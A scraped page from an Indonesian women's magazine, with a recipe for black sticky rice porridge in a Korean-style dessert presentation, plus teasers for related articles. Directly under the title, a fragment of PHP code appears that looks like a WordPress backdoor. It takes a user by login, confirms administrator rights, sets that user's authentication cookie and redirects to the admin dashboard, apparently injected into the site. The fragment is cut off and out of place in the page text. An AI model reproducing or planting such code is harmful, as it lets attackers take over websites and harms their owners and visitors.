Resep Black Sticky Gourmet, Perpaduan Rasa yang Kekinian

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Drinks & Ice Cream

12 Feb 2017

Foto: Dachri MS

Maraknya kedai dessert Korea (patbingsu) menginspirasi menu ini. Bubur ketan hitam yang dipresentasikan dengan topping meriah dan perpaduan rasa yang bukan itu-itu lagi.

Untuk 4 porsi

350 g ketan hitam
1 l air
2 lembar daun pandan
3 cm jahe, memarkan
80 g gula merah, sisir
1½ sdm gula pasir
½ sdt garam

Pelengkap:
Es puter rasa kopyor
Marshmallow warna-warni
Biskuit susu
Biskuit stik rasa stroberi
Bola wafer salut cokelat
Selai cokelat hazelnut

Cara membuat:

1. Rendam ketan hitam selama 2 jam, tiriskan.
2. Rebus air dan ketan hitam hingga mendidih. Tambahkan daun pandan dan jahe, masak terus hingga lunak di atas api sedang (± 60 menit).
3. Masukkan gula merah, gula pasir, dan garam, aduk rata. Kecilkan api, teruskan memasak hingga menjadi bubur, angkat.
4. Tuang bubur ke dalam mangkuk saji. Susun pelengkap di atasnya. Sajikan. (f)

Baca juga:

Topic
#millennialmanual , #ketanhitam , #dessert

Segar di Musim Panas

Tampil Fresh dengan Warna Tangerine

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id